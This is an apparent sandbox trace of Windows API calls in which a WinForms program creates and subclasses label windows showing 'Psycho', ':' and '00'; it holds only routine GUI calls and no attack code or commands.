[0179.933] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c4, Msg=0x2210, wParam=0x1c40001, lParam=0x301c4) returned 0x0 [0179.933] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c4, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0179.933] GetParent (hWnd=0x301c4) returned 0x60126 [0179.933] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0179.934] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0179.934] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.934] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="Psycho", dwStyle=0x5600000d, X=338, Y=15, nWidth=43, nHeight=15, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x301be [0179.934] SetWindowLongPtrW (hWnd=0x301be, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0179.934] GetWindowLongPtrW (hWnd=0x301be, nIndex=-4) returned 0x7fefc1961b4 [0179.934] SetWindowLongPtrW (hWnd=0x301be, nIndex=-4, dwNewLong=0x1b5b218c) returned 0x7fefc1961b4 [0179.934] GetWindowLongPtrW (hWnd=0x301be, nIndex=-4) returned 0x1b5b218c [0179.934] GetWindowLongPtrW (hWnd=0x301be, nIndex=-16) returned 0x4600000d [0179.934] GetWindowLongPtrW (hWnd=0x301be, nIndex=-12) returned 0x0 [0179.934] SetWindowLongPtrW (hWnd=0x301be, nIndex=-12, dwNewLong=0x301be) returned 0x0 [0179.934] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301be, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0179.934] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301be, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0179.935] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301be, Msg=0x1, wParam=0x0, lParam=0x1ad760) returned 0x0 [0179.935] GetWindow (hWnd=0x301be, uCmd=0x3) returned 0x301c4 [0179.935] GetClientRect (in: hWnd=0x301be, lpRect=0x1ad1a0 | out: lpRect=0x1ad1a0) returned 1 [0179.935] GetWindowRect (in: hWnd=0x301be, lpRect=0x1ad1a0 | out: lpRect=0x1ad1a0) returned 1 [0179.935] GetParent (hWnd=0x301be) returned 0x60126 [0179.935] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad1a0, cPoints=0x2 | out: lpPoints=0x1ad1a0) returned -7340282 [0179.935] SetWindowTextW (hWnd=0x301be, lpString="Psycho") returned 1 [0179.935] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301be, Msg=0xc, wParam=0x0, lParam=0x28c8894) returned 0x1 [0179.936] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301be, Msg=0x5, wParam=0x0, lParam=0xf002b) returned 0x0 [0179.936] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301be, Msg=0x3, wParam=0x0, lParam=0xf0152) returned 0x0 [0179.936] GetClientRect (in: hWnd=0x301be, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.936] GetWindowRect (in: hWnd=0x301be, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.936] GetParent (hWnd=0x301be) returned 0x60126 [0179.936] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad2d0, cPoints=0x2 | out: lpPoints=0x1ad2d0) returned -7340282 [0179.936] SendMessageW (hWnd=0x301be, Msg=0x2210, wParam=0x1be0001, lParam=0x301be) returned 0x0 [0179.936] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301be, Msg=0x2210, wParam=0x1be0001, lParam=0x301be) returned 0x0 [0179.936] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301be, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0179.936] GetParent (hWnd=0x301be) returned 0x60126 [0179.936] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0179.936] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0179.937] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.937] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName=":", dwStyle=0x5600000d, X=696, Y=539, nWidth=35, nHeight=37, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x301bc [0179.937] SetWindowLongPtrW (hWnd=0x301bc, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0179.937] GetWindowLongPtrW (hWnd=0x301bc, nIndex=-4) returned 0x7fefc1961b4 [0179.937] SetWindowLongPtrW (hWnd=0x301bc, nIndex=-4, dwNewLong=0x1b5b21dc) returned 0x7fefc1961b4 [0179.937] GetWindowLongPtrW (hWnd=0x301bc, nIndex=-4) returned 0x1b5b21dc [0179.937] GetWindowLongPtrW (hWnd=0x301bc, nIndex=-16) returned 0x4600000d [0179.937] GetWindowLongPtrW (hWnd=0x301bc, nIndex=-12) returned 0x0 [0179.937] SetWindowLongPtrW (hWnd=0x301bc, nIndex=-12, dwNewLong=0x301bc) returned 0x0 [0179.937] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301bc, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0179.937] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301bc, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0179.938] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301bc, Msg=0x1, wParam=0x0, lParam=0x1ad770) returned 0x0 [0179.938] GetWindow (hWnd=0x301bc, uCmd=0x3) returned 0x301be [0179.938] GetClientRect (in: hWnd=0x301bc, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.938] GetWindowRect (in: hWnd=0x301bc, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.938] GetParent (hWnd=0x301bc) returned 0x60126 [0179.938] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad1b0, cPoints=0x2 | out: lpPoints=0x1ad1b0) returned -7340282 [0179.938] SetWindowTextW (hWnd=0x301bc, lpString=":") returned 1 [0179.938] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301bc, Msg=0xc, wParam=0x0, lParam=0x28c8d94) returned 0x1 [0179.938] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301bc, Msg=0x5, wParam=0x0, lParam=0x250023) returned 0x0 [0179.939] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301bc, Msg=0x3, wParam=0x0, lParam=0x21b02b8) returned 0x0 [0179.939] GetClientRect (in: hWnd=0x301bc, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.939] GetWindowRect (in: hWnd=0x301bc, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.939] GetParent (hWnd=0x301bc) returned 0x60126 [0179.939] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad2d0, cPoints=0x2 | out: lpPoints=0x1ad2d0) returned -7340282 [0179.939] SendMessageW (hWnd=0x301bc, Msg=0x2210, wParam=0x1bc0001, lParam=0x301bc) returned 0x0 [0179.939] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301bc, Msg=0x2210, wParam=0x1bc0001, lParam=0x301bc) returned 0x0 [0179.939] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301bc, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0179.939] GetParent (hWnd=0x301bc) returned 0x60126 [0179.939] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0179.939] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0179.939] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.939] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName=":", dwStyle=0x5600000d, X=596, Y=539, nWidth=35, nHeight=37, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x301c2 [0179.939] SetWindowLongPtrW (hWnd=0x301c2, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0179.939] GetWindowLongPtrW (hWnd=0x301c2, nIndex=-4) returned 0x7fefc1961b4 [0179.940] SetWindowLongPtrW (hWnd=0x301c2, nIndex=-4, dwNewLong=0x1b5b222c) returned 0x7fefc1961b4 [0179.940] GetWindowLongPtrW (hWnd=0x301c2, nIndex=-4) returned 0x1b5b222c [0179.940] GetWindowLongPtrW (hWnd=0x301c2, nIndex=-16) returned 0x4600000d [0179.940] GetWindowLongPtrW (hWnd=0x301c2, nIndex=-12) returned 0x0 [0179.940] SetWindowLongPtrW (hWnd=0x301c2, nIndex=-12, dwNewLong=0x301c2) returned 0x0 [0179.940] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c2, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0179.940] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c2, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0179.940] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c2, Msg=0x1, wParam=0x0, lParam=0x1ad770) returned 0x0 [0179.940] GetWindow (hWnd=0x301c2, uCmd=0x3) returned 0x301bc [0179.940] GetClientRect (in: hWnd=0x301c2, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.940] GetWindowRect (in: hWnd=0x301c2, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.940] GetParent (hWnd=0x301c2) returned 0x60126 [0179.940] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad1b0, cPoints=0x2 | out: lpPoints=0x1ad1b0) returned -7340282 [0179.941] SetWindowTextW (hWnd=0x301c2, lpString=":") returned 1 [0179.941] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c2, Msg=0xc, wParam=0x0, lParam=0x28c8d94) returned 0x1 [0179.941] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c2, Msg=0x5, wParam=0x0, lParam=0x250023) returned 0x0 [0179.941] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c2, Msg=0x3, wParam=0x0, lParam=0x21b0254) returned 0x0 [0179.941] GetClientRect (in: hWnd=0x301c2, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.941] GetWindowRect (in: hWnd=0x301c2, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.941] GetParent (hWnd=0x301c2) returned 0x60126 [0179.941] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad2d0, cPoints=0x2 | out: lpPoints=0x1ad2d0) returned -7340282 [0179.941] SendMessageW (hWnd=0x301c2, Msg=0x2210, wParam=0x1c20001, lParam=0x301c2) returned 0x0 [0179.941] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c2, Msg=0x2210, wParam=0x1c20001, lParam=0x301c2) returned 0x0 [0179.941] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c2, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0179.941] GetParent (hWnd=0x301c2) returned 0x60126 [0179.941] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0179.941] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0179.941] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.941] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="00", dwStyle=0x5600000d, X=537, Y=539, nWidth=53, nHeight=37, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x301c0 [0179.941] SetWindowLongPtrW (hWnd=0x301c0, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0179.941] GetWindowLongPtrW (hWnd=0x301c0, nIndex=-4) returned 0x7fefc1961b4 [0179.942] SetWindowLongPtrW (hWnd=0x301c0, nIndex=-4, dwNewLong=0x1b5b227c) returned 0x7fefc1961b4 [0179.942] GetWindowLongPtrW (hWnd=0x301c0, nIndex=-4) returned 0x1b5b227c [0179.942] GetWindowLongPtrW (hWnd=0x301c0, nIndex=-16) returned 0x4600000d [0179.942] GetWindowLongPtrW (hWnd=0x301c0, nIndex=-12) returned 0x0 [0179.942] SetWindowLongPtrW (hWnd=0x301c0, nIndex=-12, dwNewLong=0x301c0) returned 0x0 [0179.942] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c0, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0179.942] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c0, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0179.942] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c0, Msg=0x1, wParam=0x0, lParam=0x1ad770) returned 0x0 [0179.942] GetWindow (hWnd=0x301c0, uCmd=0x3) returned 0x301c2 [0179.942] GetClientRect (in: hWnd=0x301c0, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.942] GetWindowRect (in: hWnd=0x301c0, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.942] GetParent (hWnd=0x301c0) returned 0x60126 [0179.942] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad1b0, cPoints=0x2 | out: lpPoints=0x1ad1b0) returned -7340282 [0179.943] SetWindowTextW (hWnd=0x301c0, lpString="00") returned 1 [0179.943] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c0, Msg=0xc, wParam=0x0, lParam=0x28c958c) returned 0x1 [0179.943] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c0, Msg=0x5, wParam=0x0, lParam=0x250035) returned 0x0 [0179.943] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c0, Msg=0x3, wParam=0x0, lParam=0x21b0219) returned 0x0 [0179.943] GetClientRect (in: hWnd=0x301c0, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.943] GetWindowRect (in: hWnd=0x301c0, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.943] GetParent (hWnd=0x301c0) returned 0x60126 [0179.943] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad2d0, cPoints=0x2 | out: lpPoints=0x1ad2d0) returned -7340282 [0179.943] SendMessageW (hWnd=0x301c0, Msg=0x2210, wParam=0x1c00001, lParam=0x301c0) returned 0x0 [0179.943] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c0, Msg=0x2210, wParam=0x1c00001, lParam=0x301c0) returned 0x0 [0179.943] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c0, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0179.943] GetParent (hWnd=0x301c0) returned 0x60126 [0179.943] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0179.943] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0179.943] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.943] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName=":", dwStyle=0x5600000d, X=496, Y=539, nWidth=35, nHeight=37, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201f0 [0179.943] SetWindowLongPtrW (hWnd=0x201f0, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0179.943] GetWindowLongPtrW (hWnd=0x201f0, nIndex=-4) returned 0x7fefc1961b4 [0179.944] SetWindowLongPtrW (hWnd=0x201f0, nIndex=-4, dwNewLong=0x1b5b22cc) returned 0x7fefc1961b4 [0179.944] GetWindowLongPtrW (hWnd=0x201f0, nIndex=-4) returned 0x1b5b22cc [0179.944] GetWindowLongPtrW (hWnd=0x201f0, nIndex=-16) returned 0x4600000d [0179.944] GetWindowLongPtrW (hWnd=0x201f0, nIndex=-12) returned 0x0 [0179.944] SetWindowLongPtrW (hWnd=0x201f0, nIndex=-12, dwNewLong=0x201f0) returned 0x0 [0179.944] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201f0, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0179.944] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201f0, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0179.944] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201f0, Msg=0x1, wParam=0x0, lParam=0x1ad770) returned 0x0 [0179.944] GetWindow (hWnd=0x201f0, uCmd=0x3) returned 0x301c0 [0179.944] GetClientRect (in: hWnd=0x201f0, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.944] GetWindowRect (in: hWnd=0x201f0, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.944] GetParent (hWnd=0x201f0) returned 0x60126 [0179.944] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad1b0, cPoints=0x2 | out: lpPoints=0x1ad1b0) returned -7340282 [0179.945] SetWindowTextW (hWnd=0x201f0, lpString=":") returned 1 [0179.945] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201f0, Msg=0xc, wParam=0x0, lParam=0x28c8d94) returned 0x1 [0179.945] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201f0, Msg=0x5, wParam=0x0, lParam=0x250023) returned 0x0 [0179.945] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201f0, Msg=0x3, wParam=0x0, lParam=0x21b01f0) returned 0x0 [0179.945] GetClientRect (in: hWnd=0x201f0, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.945] GetWindowRect (in: hWnd=0x201f0, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.945] GetParent (hWnd=0x201f0) returned 0x60126 [0179.945] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad2d0, cPoints=0x2 | out: lpPoints=0x1ad2d0) returned -7340282 [0179.945] SendMessageW (hWnd=0x201f0, Msg=0x2210, wParam=0x1f00001, lParam=0x201f0) returned 0x0 [0179.945] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201f0, Msg=0x2210, wParam=0x1f00001, lParam=0x201f0) returned 0x0 [0179.945] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201f0, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0179.945] GetParent (hWnd=0x201f0) returned 0x60126 [0179.945] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0179.945] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0179.945] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.945] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="00", dwStyle=0x5600000d, X=437, Y=539, nWidth=53, nHeight=37, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201ee [0179.945] SetWindowLongPtrW (hWnd=0x201ee, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0179.945] GetWindowLongPtrW (hWnd=0x201ee, nIndex=-4) returned 0x7fefc1961b4 [0179.946] SetWindowLongPtrW (hWnd=0x201ee, nIndex=-4, dwNewLong=0x1b5b231c) returned 0x7fefc1961b4 [0179.946] GetWindowLongPtrW (hWnd=0x201ee, nIndex=-4) returned 0x1b5b231c [0179.946] GetWindowLongPtrW (hWnd=0x201ee, nIndex=-16) returned 0x4600000d [0179.946] GetWindowLongPtrW (hWnd=0x201ee, nIndex=-12) returned 0x0 [0179.946] SetWindowLongPtrW (hWnd=0x201ee, nIndex=-12, dwNewLong=0x201ee) returned 0x0 [0179.946] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ee, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0179.946] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ee, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0179.946] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ee, Msg=0x1, wParam=0x0, lParam=0x1ad770) returned 0x0 [0179.946] GetWindow (hWnd=0x201ee, uCmd=0x3) returned 0x201f0 [0179.946] GetClientRect (in: hWnd=0x201ee, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.946] GetWindowRect (in: hWnd=0x201ee, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.946] GetParent (hWnd=0x201ee) returned 0x60126 [0179.946] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad1b0, cPoints=0x2 | out: lpPoints=0x1ad1b0) returned -7340282 [0179.946] SetWindowTextW (hWnd=0x201ee, lpString="00") returned 1 [0179.947] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ee, Msg=0xc, wParam=0x0, lParam=0x28c958c) returned 0x1 [0179.947] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ee, Msg=0x5, wParam=0x0, lParam=0x250035) returned 0x0 [0179.947] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ee, Msg=0x3, wParam=0x0, lParam=0x21b01b5) returned 0x0 [0179.947] GetClientRect (in: hWnd=0x201ee, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.947] GetWindowRect (in: hWnd=0x201ee, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.947] GetParent (hWnd=0x201ee) returned 0x60126 [0179.947] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad2d0, cPoints=0x2 | out: lpPoints=0x1ad2d0) returned -7340282 [0179.947] SendMessageW (hWnd=0x201ee, Msg=0x2210, wParam=0x1ee0001, lParam=0x201ee) returned 0x0 [0179.947] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ee, Msg=0x2210, wParam=0x1ee0001, lParam=0x201ee) returned 0x0 [0179.947] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ee, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0179.947] GetParent (hWnd=0x201ee) returned 0x60126 [0179.947] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0179.947] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0179.947] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.947] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="00", dwStyle=0x5600000d, X=737, Y=539, nWidth=53, nHeight=37, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x301b8 [0179.947] SetWindowLongPtrW (hWnd=0x301b8, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0179.947] GetWindowLongPtrW (hWnd=0x301b8, nIndex=-4) returned 0x7fefc1961b4 [0179.948] SetWindowLongPtrW (hWnd=0x301b8, nIndex=-4, dwNewLong=0x1b5b236c) returned 0x7fefc1961b4 [0179.948] GetWindowLongPtrW (hWnd=0x301b8, nIndex=-4) returned 0x1b5b236c [0179.948] GetWindowLongPtrW (hWnd=0x301b8, nIndex=-16) returned 0x4600000d [0179.948] GetWindowLongPtrW (hWnd=0x301b8, nIndex=-12) returned 0x0 [0179.948] SetWindowLongPtrW (hWnd=0x301b8, nIndex=-12, dwNewLong=0x301b8) returned 0x0 [0179.948] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301b8, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0179.948] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301b8, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0179.948] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301b8, Msg=0x1, wParam=0x0, lParam=0x1ad770) returned 0x0 [0179.948] GetWindow (hWnd=0x301b8, uCmd=0x3) returned 0x201ee [0179.948] GetClientRect (in: hWnd=0x301b8, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.948] GetWindowRect (in: hWnd=0x301b8, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.948] GetParent (hWnd=0x301b8) returned 0x60126 [0179.948] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad1b0, cPoints=0x2 | out: lpPoints=0x1ad1b0) returned -7340282 [0179.948] SetWindowTextW (hWnd=0x301b8, lpString="00") returned 1 [0179.948] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301b8, Msg=0xc, wParam=0x0, lParam=0x28c958c) returned 0x1 [0179.949] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301b8, Msg=0x5, wParam=0x0, lParam=0x250035) returned 0x0 [0179.949] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301b8, Msg=0x3, wParam=0x0, lParam=0x21b02e1) returned 0x0 [0179.949] GetClientRect (in: hWnd=0x301b8, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.949] GetWindowRect (in: hWnd=0x301b8, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.949] GetParent (hWnd=0x301b8) returned 0x60126 [0179.949] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad2d0, cPoints=0x2 | out: lpPoints=0x1ad2d0) returned -7340282 [0179.949] SendMessageW (hWnd=0x301b8, Msg=0x2210, wParam=0x1b80001, lParam=0x301b8) returned 0x0 [0179.949] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301b8, Msg=0x2210, wParam=0x1b80001, lParam=0x301b8) returned 0x0 [0179.949] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301b8, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0179.949] GetParent (hWnd=0x301b8) returned 0x60126 [0179.949] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0179.949] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0179.949] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.949] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="00", dwStyle=0x5600000d, X=637, Y=539, nWidth=53, nHeight=37, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x301ba [0179.949] SetWindowLongPtrW (hWnd=0x301ba, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0179.949] GetWindowLongPtrW (hWnd=0x301ba, nIndex=-4) returned 0x7fefc1961b4 [0179.951] SetWindowLongPtrW (hWnd=0x301ba, nIndex=-4, dwNewLong=0x1b5c20cc) returned 0x7fefc1961b4 [0179.951] GetWindowLongPtrW (hWnd=0x301ba, nIndex=-4) returned 0x1b5c20cc [0179.951] GetWindowLongPtrW (hWnd=0x301ba, nIndex=-16) returned 0x4600000d [0179.951] GetWindowLongPtrW (hWnd=0x301ba, nIndex=-12) returned 0x0 [0179.951] SetWindowLongPtrW (hWnd=0x301ba, nIndex=-12, dwNewLong=0x301ba) returned 0x0 [0179.951] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301ba, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0179.951] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301ba, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 